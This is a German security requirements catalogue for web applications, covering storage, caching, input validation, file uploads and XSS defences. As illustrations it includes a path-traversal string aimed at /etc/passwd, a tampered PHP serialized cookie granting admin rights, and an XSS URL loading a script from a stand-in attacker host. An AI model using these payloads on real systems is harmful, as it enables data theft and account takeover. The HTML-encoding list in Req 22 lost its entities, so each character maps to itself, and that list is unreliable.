Req 13	Die Web-Anwendung darf clientseitig keine schutzbedürftigen Daten speichern, weder temporär noch persistent.
--------	--

Dies gilt sowohl für Cookies als auch für die verschiedenen Arten von lokalen Speichern des Browsers. Stattdessen müssen schutzbedürftige Daten serverseitig gespeichert werden.

Als Ausnahme hiervon darf die Web-Anwendung Session-Identifizier oder (Session-/Access-) Token in nichtpersistenten Cookies übertragen oder im Session Storage des Browsers temporär speichern.

Als weitere Ausnahme darf die Web-Anwendung Daten zur Identifikation eines Benutzers, beispielsweise den Benutzernamen oder eine ID, in persistenten Cookies oder anderen lokalen Speichern hinterlegen, falls personenbezogene Daten verschlüsselt gespeichert werden und falls der Nutzer eingewilligt hat.

Die Web-Anwendung muss zudem verhindern, dass schutzbedürftige Daten, die der Benutzer in ein HTML-Formular eingibt, vom Browser gespeichert und bei der nächsten Verwendung automatisch vervollständigt werden. Hierzu muss die Web-Anwendung das Attribut „autocomplete = \"off\"“ setzen. Dies gilt insbesondere für Kreditkartendaten und andere Konto- oder Zahlungsinformationen. Es wird aber empfohlen, dies grundsätzlich für schutzbedürftige Daten umzusetzen.

Motivation: Alle auf dem Client gespeicherten Daten können grundsätzlich analysiert und manipuliert werden, entweder lokal durch direkten Zugriff oder ggf. durch einen erfolgreichen Angriff von außen.

Für Cookies kann eine Web-Anwendung über das Attribut „expires“ oder das Attribut „max-age“ ein Ablaufdatum setzen. In dem Fall handelt es sich aber um ein „persistentes Cookie“. Der Browser speichert persistente Cookies bis zum Ablaufdatum auf dem Endgerät des Benutzers. Jede Person mit Zugang zum jeweiligen Endgerät kann die persistenten Cookies auslesen. Dies kann in einem Internet-Café, bei anderen Arten von gemeinsamer Nutzung oder durch einen erfolgreichen Angriff geschehen. Cookies ohne Ablaufdatum sind nicht persistent, sie werden nicht dauerhaft gespeichert. Der Browser löscht diese Cookies, sobald er geschlossen wird. Bis dahin sind jedoch auch diese Daten für einen Angreifer zugänglich. Daher dürfen auch Cookies, die nicht persistent sind, keine schutzbedürftigen Daten enthalten.

Die verschiedenen Technologien, die unter anderem für HTML5-Anwendungen verwendet werden, bieten weitere Mechanismen, um Daten lokal auf dem Client zu speichern. Aber auch für diese lokalen Speicher gilt, dass sie auf dem Client analysiert bzw. manipuliert werden können. Die DOM-Objekte „localStorage“ und „sessionStorage“ sind solche eine Alternative, mit der Daten in einem Webbrowser gespeichert werden können. Im Local Storage werden die Daten jedoch dauerhaft gespeichert, während sie im Session Storage mit Ablauf der Sitzung gelöscht werden. Beim Session Storage muss aber beachtet werden, dass das Öffnen einer Webseite in einem neuen Tab oder Browserfenster eine neue Sitzung erzeugt. Alle Skripte einer Domain, von der aus die Daten gespeichert wurden, können auf die gespeicherten Daten (des gleichen lokalen Benutzerprofils bei Local Storage bzw. des jeweiligen Tabs/Browserfensters bei Session Storage) zugreifen. Anders als bei Cookies über das „HttpOnly“-Flag gibt es bei dieser Speichervariante somit keinen inhärenten Schutzmechanismus gegen Cross-Site Scripting.

Durch die Deaktivierung des Autocomplete wird erreicht, dass unabhängig von der Konfiguration des Browsers eingegebene Daten nicht gespeichert werden. Es ist hierbei zu beachten, dass seit einiger Zeit die meisten aktuellen Browser das Attribut „autocomplete“ für „password“-Eingabefelder ignorieren.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

Req 14	Die Web-Anwendung muss das Caching schutzbedürftiger Daten verhindern.
--------	--

Hierzu muss die Web-Anwendung folgende HTTP-Header setzen:

Pragma: no-cache

Cache-Control: no-cache, no-store

Expires: <Aktuelles Serverdatum>
Date: <Aktuelles Serverdatum>

Inhalte ohne schutzbedürftige Daten, zum Beispiel Bilder, Stylesheets oder öffentliche Informationen, dürfen in Caches zwischengespeichert werden.

Um diverse Sicherheitsprobleme bezüglich Caching zu vermeiden, darf die Web-Anwendung keine „Fat-GET-Requests“ (also GET-Requests mit einem Request-Body) unterstützen.

Motivation: Die Web-Anwendung muss verhindern, dass schutzbedürftige Daten durch Caching offengelegt werden, beispielsweise durch andere Benutzer, die den gleichen Rechner nutzen. Über entsprechende HTTP-Header wird ein Browser bzw. ein Proxy angewiesen, wie er das Caching zu behandeln hat. Selbst wenn HTTPS verhindert, dass schutzbedürftige Daten in Proxys abgelegt werden, müssen entsprechende Bestimmungen festgelegt werden. Dies ist zum einen ein zusätzlicher Sicherungsmechanismus. Und zum anderen muss ohnehin verhindert werden, dass die Daten vom Browser zwischengespeichert werden. Da Browser und Proxys sich bzgl. Caching nicht konsistent verhalten, müssen alle angegebenen Header gesetzt werden, um Caching möglichst zuverlässig zu verhindern.

- „Pragma:no-cache“ gibt die Anweisung, dass kein Caching erfolgen soll;
(Diese HTTP/1.0-Direktive muss weiterhin verwendet werden, da bestimmte Legacy-Proxys die HTTP/1.1-Direktive „Cache-Control“ nicht unterstützen. Auch wenn dies ursprünglich nur eine Request-Direktive ist, wird sie von vielen Proxys auch als Response-Direktive akzeptiert.)
- „Cache-Control:no-cache“ weist den Browser an, stets eine neue Seite anzufordern;
- „Cache-Control:no-store“ weist Browser und Proxys an, nicht zu cachen;
- „Expires“ gibt den Zeitpunkt an, ab dem Inhalte als abgelaufen zu behandeln sind;
- „Date“ gibt den Zeitpunkt an, zu dem der Inhalt generiert wurde.

Die Verwendung von Meta-Tags wie <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> ist keine ideale Lösung, da zum Beispiel Proxys keine Inhalte von HTML-Dokumenten auswerten.

Fat-GET-Requests können dazu führen, dass Caching-Systeme eine dazugehörige Response cachen einschließlich Daten aus dem ursprünglichen Request-Body. Dies kann zu diversen Sicherheitsproblemen führen wie zum Beispiel Cache-Poisoning.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-14/8.0

Req 15	Fehlermeldungen der Web-Anwendung sowie andere Ausgaben (zum Beispiel HTTP-Header) dürfen keine Implementierungsdetails oder andere schutzbedürftige Informationen enthalten, die vom Benutzer für Angriffe missbraucht werden können.
--------	--

Zu diesen schutzbedürftigen Informationen gehören beispielsweise Informationen über verwendete Software oder Middleware, Funktionsaufrufe, SQL-Anweisungen, Versionsnummern und Patch-Level.

Motivation: Derartige Informationen können von einem Angreifer genutzt werden, um gezielte Angriffe vorzubereiten. So kann ein Angreifer beispielsweise aus der Software-Version eventuelle Schwachstellen des Produktes ableiten, um diese im nächsten Schritt für einen Angriff auszunutzen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Angriffe motiviert und erleichtert durch Informationspreisgabe oder erkennbare Sicherheitsschwachstellen

ID: 3.06-15/8.0

5. Schutz der Verfügbarkeit und Integrität

Req 16	Die Web-Anwendung muss sämtliche Eingabedaten, die von einem Client übertragen werden, serverseitig validieren, bevor sie verarbeitet werden. Dies gilt nicht nur für alle Daten, die ein Benutzer eingegeben hat. Dies gilt ausdrücklich auch für Daten, die bei normaler Nutzung nicht vom Benutzer beeinflusst werden.
--------	--

Neben den GET- und POST-Parametern gehören hierzu beispielsweise auch Eingabedaten aus Cookies, Hidden-Fields, HTTP-Header-Feldern usw.

Alle diese Eingabedaten müssen dabei hinsichtlich Datentyps, Länge, Zeichen, Format, Wertebereich, Codierung und Inhalt geprüft werden.

Dabei sollte grundsätzlich gelten: Was nicht ausdrücklich erlaubt ist, ist verboten. Es muss also sichergestellt werden, dass die Daten ausschließlich Inhalte und Formate enthalten, die vorab als gültig definiert wurden (Positiv-Liste).

Falls Eingabedaten unter Verwendung einer Auszeichnungssprache (XML, HTML, YAML, JSON etc.) vorliegen, müssen sowohl die korrekte Struktur als auch die in der Struktur enthaltenen Daten überprüft werden.

Bevor die Daten validiert werden, müssen sie decodiert und kanonisiert werden, so dass sie in einer standardisierten (kanonischen) Form vorliegen. Dies stellen in der Regel bereits die eingesetzten Frameworks sicher.

Falls die Web-Anwendung bei der Validierung von Daten feststellt, dass die Daten von den erwarteten Inhalten oder Formaten abweichen, muss die Web-Anwendung diese Daten zurückweisen und die angeforderte Aktion abbrechen. Abhängig von der Kritikalität der Web-Anwendung ist es ggf. ratsam, zusätzlich die bestehende Session zu beenden. Dies gilt insbesondere dann, wenn von einer bewussten Datenmanipulation auszugehen ist. Dies kann beispielsweise der Fall sein, wenn die Länge der übertragenen Daten die Länge überschreitet, die im Formularfeld vorgegeben wurde, wenn zusätzliche Parameter übertragen werden oder wenn der Übertragungsweg der Parameter nicht mit den Vorgaben der Web-Anwendung übereinstimmt (GET vs. POST, Cookie vs. Hidden-Field).

In manchen Szenarien korrigieren Web-Anwendungen automatisch Fehleingaben („Sanitizing“). Dadurch kann eine Web-Anwendung zum Beispiel eine benutzerfreundliche Eingabe von Daten in unterschiedlichen Schreibweisen ermöglichen. Hierdurch entstehen aber auch neue Gefahren aufgrund der zusätzlichen Komplexität und neuer Angriffsvektoren. Daher muss Sanitizing nach Möglichkeit vermieden werden. Sanitizing darf nur in solchen Szenarien angewendet werden, in denen ein Missbrauch des Sanitizing oder eine bewusste Manipulation der Daten ausgeschlossen werden kann. Beim Sanitizing ist zudem die geschachtelte Eingabe von Angriffsvektoren (wie „<script>“) zu berücksichtigen, mit der ein Angreifer versuchen kann, Filter zu umgehen.

Clientseitige Validierungen, die beispielsweise mittels JavaScript durchgeführt werden, gelten aus Sicht einer serverseitigen Anwendung als nicht vertrauenswürdig. Sie können aber zusätzlich durchgeführt werden, um die Benutzerfreundlichkeit der Web-Anwendung zu verbessern.

Falls jedoch Eingabedaten bereits von einer clientseitigen Logik der Web-Anwendung verarbeitet werden, ohne dass die Möglichkeit besteht, dass sie vorher serverseitig validiert werden, müssen die Daten vor der Verarbeitung zumindest clientseitig validiert werden. Dies betrifft Eingabedaten aller Art, aber auch (nach-)geladene Daten von nicht vertrauenswürdigen Servern oder sämtliche von einem lokalen Medium geladene Daten.

Motivation: Ausnahmslos alle Daten, die vom Client übertragen werden, gelten nicht als vertrauenswürdig, da ein Angreifer diese Daten problemlos manipulieren kann. Durch die Eingabevalidierung wird sichergestellt, dass keine Sicherheitsprobleme oder andere unerwarteten Nebenwirkungen durch die Verarbeitung manipulierter oder korrupter Daten auftreten.

Eingabevalidierung, die darauf beruht, dass vorab bekannte gefährliche Muster herausgefiltert werden, ist problematisch: Es besteht die Gefahr, dass einige dieser Muster beim Design oder bei der Implementierung vergessen werden. Zudem können aufgrund neuer Angriffsmethoden auch im laufenden Betrieb weitere problematische Muster hinzukommen.

Eingabedaten können in verschiedenen Codierungen und Notationen vorliegen. Abhängig vom angewendeten Codierungsschema kann der gleiche Wert demnach unterschiedlich interpretiert werden. Wenn eine Web-Anwendung Daten validiert, ohne deren Codierung und Notation zu berücksichtigen, erkennt sie schadhafte Daten möglicherweise nicht. Ein Angreifer ist dann in der Lage, die Datenvalidierung zu umgehen, indem er eine bestimmte Codierung oder

sogar multiple Codierungen verwendet.

Insbesondere wenn der Benutzer einer Web-Anwendung selbst diese Anwendung angreift, bieten clientseitige Validierungen keinerlei Schutz, da die Validierungslogik ebenfalls manipuliert oder einfach umgangen werden kann. Werden aber Daten ausschließlich clientseitig verarbeitet, muss schließlich auch diese Verarbeitung durch ausreichende Validierung geschützt werden. Wird beispielsweise JSON aus externen Quellen clientseitig verarbeitet, müssen Return-Parameter auf Manipulationen analysiert werden; sie dürfen erst danach an den Interpreter weitergereicht werden. Lokale Medien sind von einem Angreifer ebenfalls leicht zu manipulieren, um beispielsweise Overflow- oder Injection-Angriffe durchzuführen. Diese Validierungen können dann aber (mangels serverseitiger Verarbeitung) nur clientseitig durchgeführt werden und bieten somit den einzig möglichen Schutz, insbesondere dann, wenn der Angriff durch einen Dritten ohne direkten Zugriff auf die clientseitigen Funktionen erfolgt (zum Beispiel bei DOM-basiertem XSS).

Aber nicht nur die Applikationslogik kann durch manipulierte Eingabedaten angegriffen werden. Wenn derartige Daten an einen Interpreter oder an andere Komponenten weitergegeben werden, kann dies unter anderem zu Injection-Angriffen führen. Hierbei kommt es zu Manipulationen der nachgelagerten Logik, Abfragen oder Befehle. Bekanntere Arten von Injection-Angriffen sind SQL-/NoSQL-Injection, XML-/XPath-Injection, Code/Command Injection oder auch E-Mail-Injection. Aber auch andere Komponenten von Web-Anwendungen können hiervon betroffen sein, zum Beispiel Template-Engines (Server Side Template Injection, SSTI), LDAP-Schnittstellen (LDAP-Injection) oder sogar Log-Server (Log-Injection). Eine korrekte und vollständige Datenvalidierung stellt somit ebenfalls die Grundlage für den Schutz gegen Injection-Angriffe dar. Abhängig von den eingesetzten Interpretern oder anderen Komponenten müssen aber ggf. zusätzliche spezifische Maßnahmen, insbesondere eine konsequente Trennung von Eingabedaten und Kommandos, für einen umfassenden Schutz implementiert werden.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit

ID: 3.06-16/8.0

Req 17	Sämtliche Daten, die von einem anderen System übertragen werden, müssen zunächst von der Web-Anwendung als nicht vertrauenswürdig betrachtet werden. Abhängig von der Kritikalität der Web-Anwendung und der Vertrauenswürdigkeit des anderen Systems muss die Web-Anwendung auch diese Daten validieren.
--------	--

Motivation: Nicht nur die Daten, die von einem Client übertragen werden und daher unmittelbar durch einen Benutzer beeinflusst werden können, können schadhafte Zeichenketten beinhalten. Dies kann auch der Fall sein bei Daten, die von anderen Systemen kommen, wenn zum Beispiel diese Systeme keine ausreichende Datenvalidierung durchführen. Daher ist zu prüfen, ob auch für solche Daten eine Validierung durchgeführt werden muss. Letztendlich muss sichergestellt sein, dass die Web-Anwendung nur Daten im erwarteten Format verwendet und somit keine unerwarteten Nebenwirkungen auftreten.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit

ID: 3.06-17/8.0

Req 18	Die Web-Anwendung darf keine Eingabedaten von Benutzern für den direkten Zugriff auf Dateien und Verzeichnisse sowie auf andere serverseitige Ressourcen verwenden.
--------	---

Stattdessen ist eine indirekte Referenzierung der serverseitigen Ressourcen zu implementieren.

Motivation: Falls eine Web-Anwendung Eingabedaten für den direkten Zugriff auf Dateien verwendet, kann sich ein Angreifer unter Umständen auch Zugriff auf solche Dateien verschaffen, auf die er normalerweise keinen Zugriff hat. Falls zum Beispiel eine Web-Anwendung die Hilfedatei Deutsch.txt anzeigt, wenn ein Benutzer „Deutsch“ eingibt und zudem die Web-Anwendung die Benutzereingaben nicht ausreichend validiert, kann sich ein Angreifer unter Umständen durch Eingabe von „.../.../.../etc/passwd%00“ auch die Benutzerdatei anzeigen lassen (Path Traversal/Local File Inclusion). Gefährliche Zeichen in diesem Zusammenhang sind die Zeichen zum Wechseln des Verzeichnisses und das Nullbyte. Das Nullbyte-Zeichen terminiert in diesem Beispiel den String und verhindert so, dass „.txt“ angehängen wird. Der Angreifer kann zudem versuchen, diese gefährlichen Zeichen in verschiedenen Codierungen zu verwenden. Darüber hinaus kann ein Angreifer bei einer entsprechenden Sicherheitslücke sogar externe Dateien in ein Script einbinden lassen und so Code zur Ausführung bringen (Remote File Inclusion).

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen
- Störung der Verfügbarkeit

ID: 3.06-18/8.0

Req 19	Falls die Web-Anwendung Objekte deserialisiert, dürfen diese Objekte keine Eingabedaten von Benutzern oder von anderen nicht vertrauenswürdigen Quellen enthalten, um Angriffe aufgrund unsicherer Deserialisierung zu verhindern.
--------	--

Falls dies nicht möglich ist und falls auch keine Formate zur Serialisierung verwendet werden können, die lediglich primitive Datentypen erlauben (wie beispielsweise JSON), muss die Deserialisierung durch weitergehende Maßnahmen abgesichert werden, zum Beispiel über Integritätskontrollen oder strikte Einschränkung der Datentypen. Zu beachten hierbei ist jedoch, dass alle Sicherheitsmaßnahmen, die erst nach der Deserialisierung durchgeführt werden, keinen vollständigen Schutz bieten können.

Motivation: Serialisierung bezeichnet die Konvertierung von Informationen, die typischerweise in Datenstrukturen einer Programmiersprache vorliegen, in eine sequenzielle Darstellungsform (typischerweise eine Folge aus Bytes oder aber auch andere Datenformate wie JSON). Dies wird beispielsweise verwendet, um die Daten über Kommunikationsschnittstellen zu übertragen oder in Dateien oder Datenbanken abzulegen. Der umgekehrte Vorgang, etwa aus einer Byte-Folge wieder eine Datenstruktur zu machen, heißt dementsprechend Deserialisierung.

Jedoch kann auch eine Byte-Folge manipuliert werden. Wenn somit also eine Web-Anwendung Objekte deserialisiert, die ein Angreifer manipulieren kann, kann dies bei unsicherer Implementierung zu kritischen Sicherheitsproblemen führen (Deserialisierungsangriffe bzw. Object-Injection-Angriffe).

Erschwerend kommt hinzu, dass viele Deserialisierungsangriffe den Deserialisierungsvorgang an sich betreffen und schon vor dessen Beendigung abgeschlossen sind, so dass Validierungen der deserialisierten Objekte keinen vollständigen Schutz bieten können. Und in dem Fall kann demnach auch eine Web-Anwendung selbst dann von einem Deserialisierungsangriff betroffen sein, wenn die manipulierten Daten gar nicht in einer Funktionalität der Web-Anwendung verarbeitet werden.

Abhängig von der jeweiligen Anwendung kann ein Angreifer über Deserialisierungsangriffe die Logik der Anwendung manipulieren, DoS-Angriffe durchführen oder sogar eigenen Code ausführen lassen.

In einem sehr einfachen und leicht lesbaren Beispiel eines PHP-Forums könnte Objekt-Serialisierung eingesetzt werden, um einen Cookie zu speichern, der unter anderem eine Benutzerkennung und die dazugehörige Benutzerrolle enthält:

```
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

Ein Angreifer könnte das serialisierte Objekt manipulieren, um sich selber Administrationsrechte zu geben:

```
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Unberechtigte Nutzung von Diensten oder Ressourcen

- Störung der Verfügbarkeit

ID: 3.06-19/8.0

Req 20	Falls Dateien von einem Client hochgeladen oder von anderen Systemen übertragen werden, muss die Web-Anwendung diese Dateien überprüfen und so verarbeiten, dass keine Gefährdungen für die Anwendung oder für Benutzer entstehen.
--------	--

Geeignete Maßnahmen hierzu sind:

- Die Größe übertragener Dateien wird begrenzt.
- Die Anzahl der Dateien, die ein Benutzer übertragen kann, wird begrenzt.
- Die Dateien werden als Datenbank-BLOB anstatt im Dateisystem gespeichert. Falls die Dateien im Dateisystem gespeichert werden, werden sie außerhalb des Webroot-Verzeichnisses gespeichert und das Dateisystem wird hinsichtlich der Berechtigungen gehärtet. Zudem wird der Name der Datei im Dateisystem nicht durch den Benutzer vorgegeben, sondern von der Anwendung generiert.
- Die Dateien werden auf Malware und (insbesondere bei SVG-Dateien) auf aktiven Code durchsucht oder alternativ (bei Bildern, Videodateien und Audiodateien) transcodiert.
- Archivdateien werden auf Malware und ZIP-Bomben analysiert.
- Die Dateinamen werden auf korrekte Dateiendung, integrierte Pfadinformationen und aktiven Code überprüft, insbesondere auf JavaScript im Dateinamen.
- Falls Metadaten der Dateien (zum Beispiel Exif-Daten) verarbeitet oder dargestellt werden, werden diese ebenfalls auf aktiven Code überprüft.
- Das Format hochgeladener Dateien wird überprüft: Das Format muss mit der Dateiendung übereinstimmen und gültig sein, das heißt das Format entspricht der Spezifikation; und es werden nur bestimmte Dateiformate akzeptiert, zum Beispiel nur Bildformate bei einer Fotogalerie.
- Falls Benutzer nicht vertrauenswürdige Dateien aufrufen, die durch andere Benutzer hochgeladen wurden:
 - wird in der HTTP-Response des Downloads der HTTP-Header „Content-Type“ mit der Angabe des korrekten Medientyps der Datei gesetzt,
 - wird in der HTTP-Response des Downloads der HTTP-Header „Content-Disposition“ mit dem Wert „attachment“ sowie mit dem Parameter „filename“ gesetzt,
 - werden die hochgeladenen Dateien auf einer eigenen (Sub-)Domain abgelegt.

Es ist hierbei zu beachten, dass nicht alle Maßnahmen zwingend umgesetzt werden müssen, sondern dass eine für den individuellen Anwendungsfall geeignete Auswahl an Maßnahmen umzusetzen ist.

Motivation: Eine Upload-Funktion ist in vielen Anwendungsfällen sehr problematisch aus Sicherheitssicht, da die diversen hiermit verbundenen Angriffsmöglichkeiten nur schwer vollständig zu verhindern sind. So kann aktiver Code oder Malware in hochgeladenen Dateien die Anwendung und/oder andere Benutzer gefährden, die diese Dateien öffnen oder herunterladen. Außerdem können noch andere Gefährdungen durch hochgeladene Dateien entstehen, wie beispielsweise Denial-of-Service-Angriffe.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten
- Störung der Verfügbarkeit

ID: 3.06-20/8.0

Req 21 Jede Ausgabe der Web-Anwendung muss mit einer Angabe des Medientyps und der verwendeten Zeichencodierung erfolgen. Hierzu muss der HTTP-Header „Content-Type“ gesetzt werden. Zudem muss der HTTP-Header „X-Content-Type-Options“ mit dem Wert „nosniff“ gesetzt werden.

Im Falle einer HTML-Ausgabe muss diese in einer im HTML-Standard vorgesehenen Codierung, in der Regel UTF-8, erfolgen: „Content-Type: text/html; charset = utf-8“.

Bei HTML-Dokumenten, bei denen aufgrund der Anwendungsszenarien davon auszugehen ist, dass diese durch die Benutzer heruntergeladen werden, müssen Medientyp und Zeichencodierung zusätzlich durch eine entsprechende <meta>-Direktive definiert werden.

Bei (üblicherweise mittels <embed> oder <object>) eingebundenen Inhalten muss der Medientyp durch Verwendung des Parameters „type“ spezifiziert werden.

Für andere Ausgaben müssen ebenfalls passende Codierungs-Tags verwendet werden (zum Beispiel bei XML-Dokumenten über ein entsprechendes Codierungsattribut in der XML-Deklaration).

Motivation: Diese Maßnahmen verhindern, dass Clients die Inhalte, die eine Web-Anwendung ausliefert, fehlerhaft interpretieren oder decodieren. Mittels des „nosniff“-Headers wird der Browser angewiesen, dem angegebenen Medientyp zu vertrauen und nicht zu versuchen, diesen selbst zu ermitteln (MIME-Sniffing). Eine fehlerhafte Ermittlung des Medientyps oder fehlerhafte Decodierungen können zu Sicherheitsproblemen insbesondere bei der Validierung von Eingabedaten führen.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-21/8.0

Req 22 Die Web-Anwendung muss sämtliche Eingabedaten, die sie an den Browser zurücksendet, validieren und dabei alle Metazeichen HTML-codieren, um Cross-Site Scripting (XSS) zu verhindern.

Dabei müssen mindestens folgende HTML-Metazeichen in normale Klartextzeichen umgewandelt werden:

- & in &
- " in "
- < in <
- > in >
- ' in '

Als zusätzliche Schutzmaßnahme kann eine Content Security Policy (CSP) über den entsprechenden HTTP-Header definiert werden mit einer Positivliste erlaubter Quellen für JavaScript-Dateien (sowie für weitere Ressourcen). Die Policy sollte eine „default-src“-Direktive beinhalten als Rückfalllösung für Typen von Ressourcen, für die in der Policy keine eigene Direktive festgelegt wurde.

Motivation: Mit XSS wird das Einschleusen von böartigem HTML- und JavaScript-Code in eine Webseite bezeichnet. Derartige Angriffe sind möglich, wenn eine Web-Anwendung Eingabedaten entgegennimmt und ohne ausreichende Validierung bzw. Codierung an einen Web-Browser sendet, wie zum Beispiel bei dieser Kommentarfunktion einer unsicheren Web-Anwendung:

`https://www.insecure-example.com/comment?message=<script src=https://evil-example.com/evilscrip.js></script>`.

Eine XSS-Schwachstelle erlaubt es einem Angreifer somit, Scriptcode im Browser eines Opfers auszuführen, um zum Beispiel Sessions zu übernehmen, Seiteninhalte zu verändern oder den Benutzer auf böartige Seiten umzuleiten.

Es gibt dabei grundsätzlich drei verschiedene Arten von XSS-Angriffen: reflektiertes XSS (die manipulierten Eingabedaten werden einmalig vom Server direkt wieder an den Browser zurückgesendet), persistentes XSS (der Schadcode wird auf dem Webserver gespeichert, wodurch er bei diversen nachfolgenden Anfragen an den Browser ausgeliefert wird) sowie DOM-basiertes XSS (bei dem die Web-Anwendung auf dem Server gar nicht beteiligt ist, weil der Schadcode direkt an ein clientseitiges Skript übergeben wird).

Um XSS zu verhindern, müssen die verschiedenen Metazeichen escaped bzw. codiert werden.

Metazeichen sind Zeichen, die eine besondere Bedeutung für die jeweilige Auszeichnungssprache oder Abfragesprache haben und bei ihrer Verarbeitung entsprechend interpretiert werden. Durch die Verwendung von Metazeichen kann ein Angreifer versuchen, Befehle, Verarbeitungslogik oder die Darstellung von Daten und Informationen zu manipulieren.

Das Escapen solcher Metazeichen muss somit immer abhängig vom jeweiligen Kontext erfolgen, in dem die Metazeichen ausgegeben werden (HTML, JavaScript, CSS, URL usw.). HTML-Codierung ist der grundsätzliche Schutzmechanismus gegen diese Angriffe, wenn Benutzereingaben lediglich im HTML der Webseite ausgegeben werden. Bei Ausgabe in anderen Kontexten ist der Schutz gegen XSS deutlich komplexer. Entwickler müssen dies in ihren Web-Anwendungen umsetzen, solange dies nicht bereits durch ein korrekt eingesetztes Framework sichergestellt ist.

Durch die Definition einer Content Security Policy wird der Browser (sofern dieser CSP unterstützt) angewiesen, nur Skripte aus Dateien, die von vertrauenswürdigen Domains geladen wurden, auszuführen. Alle anderen Skripte, inkl. Inline-JavaScript, wird der Browser ignorieren. Dies kann die möglichen Angriffsvektoren für XSS signifikant reduzieren, setzt aber voraus, dass die Webseiten entsprechend aufgebaut werden können und die Policy sorgfältig definiert und dauerhaft gepflegt wird.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-22/8.0

Req 23	Falls die Web-Anwendung Eingabedaten außerhalb des HTML-Kontexts ausgibt (also zum Beispiel im JavaScript, in der URL oder im CSS), muss die Ausgabe durch kontextspezifisches Escapen der Eingabedaten abgesichert werden, um XSS zu verhindern.
--------	---

Escapen muss also immer abhängig vom jeweiligen Kontext erfolgen, in dem die Daten ausgegeben werden:

Erfolgt die Ausgabe beispielsweise als Teil einer URL, muss Escapen durch URL-Codierung der Eingabedaten erfolgen: Die URL-Codierung ersetzt dabei unsichere Zeichen durch ein „%“-Zeichen gefolgt vom entsprechenden hexadezimalen ASCII-Wert.

Wenn dagegen Eingabedaten innerhalb eines JavaScript-Strings ausgegeben werden, müssen nicht-alphanumerische Werte Unicode-escaped werden, also zum Beispiel „<“ durch „\u003c“ ersetzt werden.

Motivation: Außerhalb des HTML-Kontexts reicht eine einfache HTML-Codierung nicht mehr aus, um XSS zu verhindern. In dem Fall müssen Eingabedaten abhängig vom Kontext, in dem sie ausgegeben werden, escaped werden. In solchen Fällen ist ein zuverlässiger Schutz gegen XSS-Angriffe ggf. komplexer und fehleranfälliger.

Für diese Anforderung sind folgende Bedrohungen relevant:

- Unberechtigter Zugang zum System
- Unberechtigte Einsichtnahme oder Abgriff von Daten
- Unberechtigte Modifikation von Daten

ID: 3.06-23/8.0

Req 24	Falls Änderungen am Document Object Model (DOM) einer Webseite möglich sind, die auf Eingabedaten basieren, müssen diese Eingabedaten auf dem Client hinsichtlich Metazeichen validiert werden. Die Ausgabe muss durch kontextspezifisches Escapen der Eingabedaten abgesichert werden, um DOM-basiertes XSS zu verhindern.
--------	---

Insbesondere muss immer dann clientseitige Datenvalidierung durchgeführt werden, wenn serverseitig nicht kontrolliert werden kann, wie das DOM final aussieht, oder wenn lediglich Daten (zum Beispiel JSON) zurück geliefert werden, die erst im Client zu HTML zusammengesetzt werden.

Da es aber äußerst schwierig ist, sich effektiv gegen DOM-basierte XSS-Angriffe zu schützen, wird empfohlen, auf ent-

sprechende Änderungen am DOM zu verzichten.

Ist eine solche Funktionalität dennoch vorgesehen, wird empfohlen, sichere Output-Methoden bzw. Eigenschaften (insbesondere „element.textContent“) zu benutzen, die maliziösen Code nicht ausführen würden. Unsichere Output-Methoden/Eigenschaften (wie zum Beispiel „element.innerHTML“, „element.outerHTML“, „document.write“, „document.writeln“) sind dementsprechend zu vermeiden, wenn Eingabedaten verwendet werden. Zudem muss eine Bibliothek mit entsprechenden Schutzfunktionen (basierend auf kontextspezifischem Escapen) verwendet oder ggf. sehr sorgfältig implementiert werden. Dies können auch DOM-/JavaScript-basierte XSS-Filter sein, die die Analyse des Markups direkt im Browsers durchführen, wobei dann Eingabedaten zuerst an diesen Sanitizer/Filter geschickt werden und erst danach in das eigentliche DOM übernommen werden.

